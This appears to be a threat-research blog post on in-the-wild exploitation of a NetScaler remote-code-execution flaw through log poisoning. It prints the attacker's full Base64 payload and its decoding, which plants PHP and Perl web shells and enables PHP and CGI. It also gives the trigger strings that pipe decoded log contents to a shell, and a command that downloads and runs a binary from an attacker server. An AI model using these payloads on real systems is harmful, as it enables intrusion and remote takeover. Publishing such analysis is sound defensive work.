CVE-2026-88771: Inside the Exploitation of a Critical NetScaler RCE Vulnerability

Get the latest Zscaler blog updates in your inbox

How It Works

ThreatLabz discovered a staged log-poisoning chain. The attacker staged a larger post-exploitation payload separately from the shorter command used to trigger its execution.

This behavior is consistent with independent technical analysis published by CERT-EU and Unit 42.

Step 1: Staging the payload in the HTTP access log

The attacker sent GET requests to common NetScaler paths, as listed below:

• /logon/LogonPoint/tmindex.html
• /logon/LogonPoint/index.html
• /vpn/index.html
• /logon/tmindex.html

The requests carried a distinctive User-Agent value:

User-Agent: INDEX:bWtkaXIgLXAgL3Zhci92cG4vYm9va21hcmsvIC9uZXRzY2FsZXIvbnNfZ3VpL3Zwbi8gL3Zhci9uZXRzY2FsZXIvZ3VpL3Zwbi8gL3Zhci92cG4vdGhlbWUvIC92YXIvbmV0c2NhbGVyL2xvZ29uL0xvZ29uUG9pbnQvIC9uZXRzY2FsZXIvbnNfZ3VpL2NnaS87IGVjaG8gIk54LXpEfCQoaWQpfCQodW5hbWUgLWEpfCQoaG9zdG5hbWUpfCQoY2F0IC9ldGMvbnNyZWxlYXNlIDI+L2Rldi9udWxsIHx8IGNhdCAvZXRjL25zY29uZmlnL25zLmNvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0xKSIgPiAvdmFyL3Zwbi9ib29rbWFyay9OeF81OTM2Lmh0bWw7IGVjaG8gIk54LXpEfCQoaWQpfCQodW5hbWUgLWEpfCQoaG9zdG5hbWUpfCQoY2F0IC9ldGMvbnNyZWxlYXNlIDI+L2Rldi9udWxsIHx8IGNhdCAvZXRjL25zY29uZmlnL25zLmNvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0xKSIgPiAvbmV0c2NhbGVyL25zX2d1aS92cG4vTnhfNTkzNi5odG1sOyBlY2hvICJOeC16RHwkKGlkKXwkKHVuYW1lIC1hKXwkKGhvc3RuYW1lKXwkKGNhdCAvZXRjL25zcmVsZWFzZSAyPi9kZXYvbnVsbCB8fCBjYXQgL2V0Yy9uc2NvbmZpZy9ucy5jb25mIDI+L2Rldi9udWxsIHwgaGVhZCAtMSkiID4gL3Zhci9uZXRzY2FsZXIvZ3VpL3Zwbi9OeF81OTM2Lmh0bWw7IGVjaG8gIk54LXpEfCQoaWQpfCQodW5hbWUgLWEpfCQoaG9zdG5hbWUpfCQoY2F0IC9ldGMvbnNyZWxlYXNlIDI+L2Rldi9udWxsIHx8IGNhdCAvZXRjL25zY29uZmlnL25zLmNvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0xKSIgPiAvdmFyL3Zwbi90aGVtZS9OeF81OTM2Lmh0bWw7IGVjaG8gIk54LXpEfCQoaWQpfCQodW5hbWUgLWEpfCQoaG9zdG5hbWUpfCQoY2F0IC9ldGMvbnNyZWxlYXNlIDI+L2Rldi9udWxsIHx8IGNhdCAvZXRjL25zY29uZmlnL25zLmNvbmYgMj4vZGV2L251bGwgfCBoZWFkIC0xKSIgPiAvdmFyL25ldHNjYWxlci9sb2dvbi9Mb2dvblBvaW50L054XzU5MzYuaHRtbDsgZWNobyAnPD9waHAgZWNobyAiTngtekR8Ii5zaGVsbF9leGVjKCRfR0VUWzBdKS4ifCI7ID8+JyA+IC92YXIvdnBuL2Jvb2ttYXJrL054XzU5MzYucGhwOyBjaG1vZCA3NTUgL3Zhci92cG4vYm9va21hcmsvTnhfNTkzNi5waHA7IGVjaG8gJzw/cGhwIGVjaG8gIk54LXpEfCIuc2hlbGxfZXhlYygkX0dFVFswXSkuInwiOyA/PicgPiAvbmV0c2NhbGVyL25zX2d1aS92cG4vTnhfNTkzNi5waHA7IGNobW9kIDc1NSAvbmV0c2NhbGVyL25zX2d1aS92cG4vTnhfNTkzNi5waHA7IGVjaG8gJzw/cGhwIGVjaG8gIk54LXpEfCIuc2hlbGxfZXhlYygkX0dFVFswXSkuInwiOyA/PicgPiAvdmFyL25ldHNjYWxlci9ndWkvdnBuL054XzU5MzYucGhwOyBjaG1vZCA3NTUgL3Zhci9uZXRzY2FsZXIvZ3VpL3Zwbi9OeF81OTM2LnBocDsgZWNobyAnPD9waHAgZWNobyAiTngtekR8Ii5zaGVsbF9leGVjKCRfR0VUWzBdKS4ifCI7ID8+JyA+IC92YXIvdnBuL3RoZW1lL054XzU5MzYucGhwOyBjaG1vZCA3NTUgL3Zhci92cG4vdGhlbWUvTnhfNTkzNi5waHA7IGVjaG8gJzw/cGhwIGVjaG8gIk54LXpEfCIuc2hlbGxfZXhlYygkX0dFVFswXSkuInwiOyA/PicgPiAvdmFyL25ldHNjYWxlci9sb2dvbi9Mb2dvblBvaW50L054XzU5MzYucGhwOyBjaG1vZCA3NTUgL3Zhci9uZXRzY2FsZXIvbG9nb24vTG9nb25Qb2ludC9OeF81OTM2LnBocDsgcHJpbnRmICIjIS91c3IvYmluL3BlcmxcbnByaW50ICJDb250ZW50LVR5cGU6IHRleHQvcGxhaW5cclxuXHJcbiI7cHJpbnQgIk54LXpEfCI7aWYoJEVOVntRVUVSWV9TVFJJTkd9PX4vMD0oLiopLyl7cHJpbnQgYCQxYDt9cHJpbnQgInwiOyIgPiAvbmV0c2NhbGVyL25zX2d1aS9jZ2kvTnhfNTkzNi5wbDsgY2htb2QgNzU1IC9uZXRzY2FsZXIvbnNfZ3VpL2NnaS9OeF81OTM2LnBsOyBwcmludGYgIiMhL3Vzci9iaW4vcGVybFxucHJpbnQgIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpblxyXG5cclxuIjtwcmludCAiTngtekR8IjtpZigkRU5We1FVRVJZX1NUUklOR309fi8wPSguKikvKXtwcmludCBgJDFgO31wcmludCAifCI7IiA+IC92YXIvdnBuL2Jvb2ttYXJrL054XzU5MzYucGw7IGNobW9kIDc1NSAvdmFyL3Zwbi9ib29rbWFyay9OeF81OTM2LnBsOyBwcmludGYgIiMhL3Vzci9iaW4vcGVybFxucHJpbnQgIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpblxyXG5cclxuIjtwcmludCAiTngtekR8IjtpZigkRU5We1FVRVJZX1NUUklOR309fi8wPSguKikvKXtwcmludCBgJDFgO31wcmludCAifCI7IiA+IC9uZXRzY2FsZXIvbnNfZ3VpL3Zwbi9OeF81OTM2LnBsOyBjaG1vZCA3NTUgL25ldHNjYWxlci9uc19ndWkvdnBuL054XzU5MzYucGw7IHByaW50ZiAiIyEvdXNyL2Jpbi9wZXJsXG5wcmludCAiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluXHJcblxyXG4iO3ByaW50ICJOeC16RHwiO2lmKCRFTlZ7UVVFUllfU1RSSU5HfT1+LzA9KC4qKS8pe3ByaW50IGAkMWA7fXByaW50ICJ8IjsiID4gL3Zhci9uZXRzY2FsZXIvZ3VpL3Zwbi9OeF81OTM2LnBsOyBjaG1vZCA3NTUgL3Zhci9uZXRzY2FsZXIvZ3VpL3Zwbi9OeF81OTM2LnBsOyBwcmludGYgIiMhL3Vzci9iaW4vcGVybFxucHJpbnQgIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpblxyXG5cclxuIjtwcmludCAiTngtekR8IjtpZigkRU5We1FVRVJZX1NUUklOR309fi8wPSguKikvKXtwcmludCBgJDFgO31wcmludCAifCI7IiA+IC92YXIvdnBuL3RoZW1lL054XzU5MzYucGw7IGNobW9kIDc1NSAvdmFyL3Zwbi90aGVtZS9OeF81OTM2LnBsOyBwcmludGYgIiMhL3Vzci9iaW4vcGVybFxucHJpbnQgIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpblxyXG5cclxuIjtwcmludCAiTngtekR8IjtpZigkRU5We1FVRVJZX1NUUklOR309fi8wPSguKikvKXtwcmludCBgJDFgO31wcmludCAifCI7IiA+IC92YXIvbmV0c2NhbGVyL2xvZ29uL0xvZ29uUG9pbnQvTnhfNTkzNi5wbDsgY2htb2QgNzU1IC92YXIvbmV0c2NhbGVyL2xvZ29uL0xvZ29uUG9pbnQvTnhfNTkzNi5wbDsgc2VkIC1pICcnICdzL3BocF9lbmdpbmUgb2ZmL3BocF9lbmdpbmUgb24vZycgL2V0Yy9odHRwZC5jb25mIDI+L2Rldi9udWxsOyBncmVwIC1xICdBZGRIYW5kbGVyIGNnaS1zY3JpcHQgLnBsJyAvZXRjL2h0dHBkLmNvbmYgfHwgZWNobyAnQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbCcgPj4gL2V0Yy9odHRwZC5jb25mIDI+L2Rldi9udWxsOyBraWxsIC1IVVAgJChjYXQgL3Zhci9ydW4vaHR0cGQucGlkIDI+L2Rldi9udWxsKSAyPi9kZXYvbnVsbA==

Decoded Base64 payload:

mkdir -p /var/vpn/bookmark/ /netscaler/ns_gui/vpn/ /var/netscaler/gui/vpn/ /var/netscaler/logon/LogonPoint/ /var/vpn/theme/ /var/netscaler/gui/admin_ui/apex/;
echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /var/vpn/bookmark/Nx_7508.html; 
echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /netscaler/ns_gui/vpn/Nx_7508.html; 
echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /var/netscaler/gui/vpn/Nx_7508.html; 
echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /var/netscaler/logon/LogonPoint/Nx_7508.html; 
echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /var/vpn/theme/Nx_7508.html; 
echo "Nx-zD|$(id)|$(uname -a)|$(hostname)|$(cat /etc/nsrelease 2>/dev/null || head -1 /nsconfig/ns.conf 2>/dev/null)" > /var/netscaler/gui/admin_ui/apex/Nx_7508.html; 
echo '' > /var/vpn/bookmark/Nx_7508.php; chmod 755 /var/vpn/bookmark/Nx_7508.php; 
echo '' > /netscaler/ns_gui/vpn/Nx_7508.php; chmod 755 /netscaler/ns_gui/vpn/Nx_7508.php; 
echo '' > /var/netscaler/gui/vpn/Nx_7508.php; chmod 755 /var/netscaler/gui/vpn/Nx_7508.php; 
echo '' > /var/netscaler/logon/LogonPoint/Nx_7508.php; chmod 755 /var/netscaler/logon/LogonPoint/Nx_7508.php; 
echo '' > /var/vpn/theme/Nx_7508.php; chmod 755 /var/vpn/theme/Nx_7508.php; 
echo '' > /var/netscaler/gui/admin_ui/apex/Nx_7508.php; chmod 755 /var/netscaler/gui/admin_ui/apex/Nx_7508.php; 
printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /var/vpn/bookmark/Nx_7508.pl; chmod 755 /var/vpn/bookmark/Nx_7508.pl; 
printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /netscaler/ns_gui/vpn/Nx_7508.pl; chmod 755 /netscaler/ns_gui/vpn/Nx_7508.pl; 
printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /var/netscaler/gui/vpn/Nx_7508.pl; chmod 755 /var/netscaler/gui/vpn/Nx_7508.pl; 
printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /var/netscaler/logon/LogonPoint/Nx_7508.pl; chmod 755 /var/netscaler/logon/LogonPoint/Nx_7508.pl; 
printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /var/vpn/theme/Nx_7508.pl; chmod 755 /var/vpn/theme/Nx_7508.pl; 
printf "#!/usr/bin/perl\nprint "Content-Type: text/plain\r\n\r\n";print "Nx-zD|";if($ENV{QUERY_STRING}=~/0=(.*)/){print `$1`;}print "|";" > /var/netscaler/gui/admin_ui/apex/Nx_7508.pl; chmod 755 /var/netscaler/gui/admin_ui/apex/Nx_7508.pl; 
# Enable PHP + Perl CGI, reload Apache
sed -i '' 's/php_engine off/php_engine on/g' /etc/httpd.conf;
grep -q 'AddHandler cgi-script .pl' /etc/httpd.conf || echo 'AddHandler cgi-script .pl' >> /etc/httpd.conf;
kill -HUP $(cat /var/run/httpd.pid)

The same Base64-encoded payload in the User-Agent field was sent to multiple paths. This increased the likelihood that it would be written to the HTTP access log file and remain available when the trigger executed.

At this stage, the payload in the User-Agent value was not executed. Instead, the log served as storage for the attacker-controlled payload.

Step 2: Poisoning the authentication log

The attacker then sent POST requests to the following authentication endpoints, as observed by ThreatLabz:

/nf/auth/doAuthentication.do
/cgi/login

The attacker-controlled login value impersonated a NetScaler Packet Processing Engine (PPE) failure record. ThreatLabz observed two variants:

Variant 1:

pitboss PPE missed too many 
heartbeatsNSPPE;grep${IFS}INDEX:${IFS}/var/log/htt*|
  sed${IFS}'s/.*INDEX://;s/".*//'|b64decode${IFS}-r|sh; X

Variant 2:

pitboss PPE unexpectedly died NSPPE;grep${IFS}INDEX:${IFS}/var/log/htt*|
  sed${IFS}'s/.*INDEX://;s/".*//'|b64decode${IFS}-r|sh;# X

Shell commands appended to the forged failure text was designed to instruct the appliance to search HTTP access logs for the INDEX: marker, extract the Base64-encoded data, decode it, and pass the result to a command interpreter to execute.

Several variants used ${IFS} (Internal Field Separator, which in bash can represent a space, tab, or newline character) in place of literal spaces. This preserved separation between command arguments while avoiding spaces that might be transformed or rejected during request processing.

Inline exploitation variants

In addition to the staged Base64-encoded payload, ThreatLabz captured a shorter inline variant in the login parameter.

Inline variant 1:

pitboss PPE unexpectedly died NSPPE;mkdir${IFS}-p${IFS}/var/vpn/bookmark/${IFS}
  /netscaler/ns_gui/vpn/;echo${IFS}"Nx-zD|$(id)|$(hostname)">/var/vpn/bookmark/Nx_7508.html;
  echo${IFS}''
  >/var/vpn/bookmark/Nx_7508.php;sed${{IFS}}-i${{IFS}}''${{IFS}}
  's/php_engine${{IFS}}off/php_engine${{IFS}}on/g'${{IFS}}/etc/httpd.conf;# X

This variant attempted to:

1. Create web-accessible directories.
2. Write the Nx_7508.html fingerprint file.
3. Install the Nx_7508.php web shell.
4. Enable PHP by modifying /etc/httpd.conf.

Inline variant 2:

pitboss PPE unexpectedly died NSPPE;fetch${IFS}-o${IFS}/var/kw2s11${IFS}http://209.141.43[.]95/files/kw2-freebsd-x64-s11;chmod${IFS}+x${IFS}/var/kw2s11;/var/kw2s11;# X

The command was designed to download a Rust-based 64-bit FreeBSD binary to /var/kw2s11, grant executable permissions, and run it.

ThreatLabz identified the same download server in activity associated with exploitation of CVE-2026-75650, tracked as StyleSmuggler.

CVE-2026-75650 is an unauthenticated template-engine injection vulnerability affecting Adobe Commerce and Magento Open Source. Adobe assigned it a CVSS v3.1 score of 10.0 and confirmed exploitation in the wild in security bulletin APSB26-146.

The shared download infrastructure is notable because the two vulnerabilities target different platforms:

• CVE-2026-75650 affects Adobe Commerce and Magento Open Source systems.
• CVE-2026-88771 affects Citrix NetScaler ADC and Gateway appliances.

This overlap raises the possibility that one operator or malware-distribution service maintained payloads for different platforms and opportunistically deployed them through vulnerabilities affecting internet-facing systems.

ThreatLabz also observed a burst of exploitation attempts from at least 26 source IP addresses over approximately six to seven minutes. These attempts followed the same log-poisoning and FreeBSD payload-delivery sequence.

Each source IP address sent a login request containing:

1. A forged pitboss PPE failure string intended to poison the NetScaler log.
2. A downloader designed to download and execute the 64-bit FreeBSD payload kw2-freebsd-x64-s11.

Step 3: Delayed execution by a privileged script

The poisoned authentication data was written to /var/log/ns.log. The vulnerability is triggered when the legitimate NetScaler Perl script, /netscaler/ns_monuploadd_err.pl, processes Packet Processing Engine (PPE) failure records as part of the appliance’s diagnostic and core-file handling.

Public analysis found that the script searches /var/log/ns.log, rotated NetScaler logs, and /var/log/messages for phrases such as:

• PPE missed too many heartbeats
• PPE unexpectedly died

The vulnerable Perl script incorporates part of the selected record into a shell command without properly escaping attacker-controlled shell metacharacters. If the script selects the forged record, the appended command executes with the script’s privileges.

CERT-EU reported that the script selects the last matching record. This may explain why attackers repeatedly submit the trigger. They are attempting to ensure that their poisoned entry remains the most recent matching line when the maintenance script runs.